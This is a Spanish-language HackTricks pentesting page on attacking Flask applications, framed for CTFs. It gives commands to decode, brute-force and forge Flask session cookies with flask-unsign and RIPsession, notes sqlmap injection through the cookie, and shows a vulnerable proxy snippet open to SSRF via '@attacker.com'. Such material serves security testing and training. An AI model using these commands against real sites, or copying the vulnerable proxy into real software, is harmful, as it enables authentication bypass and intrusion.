Flask
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Probablemente, si estás participando en un CTF, una aplicación Flask estará relacionada con SSTI.
Cookies
El nombre de la sesión de cookie por defecto es session.
Decoder
Decodificador de cookies de Flask en línea: https://www.kirsle.net/wizards/flask-session.cgi
Manual
Obtén la primera parte de la cookie hasta el primer punto y decodifícalo en Base64.
echo "ImhlbGxvIg" | base64 -d
La cookie también está firmada usando una contraseña
Flask-Unsign
Herramienta de línea de comandos para obtener, decodificar, forzar y crear cookies de sesión de una aplicación Flask adivinando claves secretas.
pip3 install flask-unsign
Decodificar Cookie
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
Fuerza Bruta
flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval
Firma
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
Firmado usando versiones antiguas (legacy)
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy
RIPsession
Herramienta de línea de comandos para realizar ataques de fuerza bruta a sitios web utilizando cookies creadas con flask-unsign.
ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt
SQLi en la cookie de sesión de Flask con SQLmap
Este ejemplo utiliza la opción eval de sqlmap para firmar automáticamente las cargas útiles de sqlmap para Flask usando un secreto conocido.
Proxy de Flask a SSRF
En este informe se explica cómo Flask permite una solicitud que comienza con el carácter “@”:
GET @/ HTTP/1.1
Host: target.com
Connection: close
En el siguiente escenario:
from flask import Flask
from requests import get
app = Flask('__main__')
SITE_NAME = 'https://google.com/'
@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def proxy(path):
return get(f'{SITE_NAME}{path}').content
app.run(host='0.0.0.0', port=8080)
Podría permitir introducir algo como “@attacker.com” para causar un SSRF.
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
HackTricks

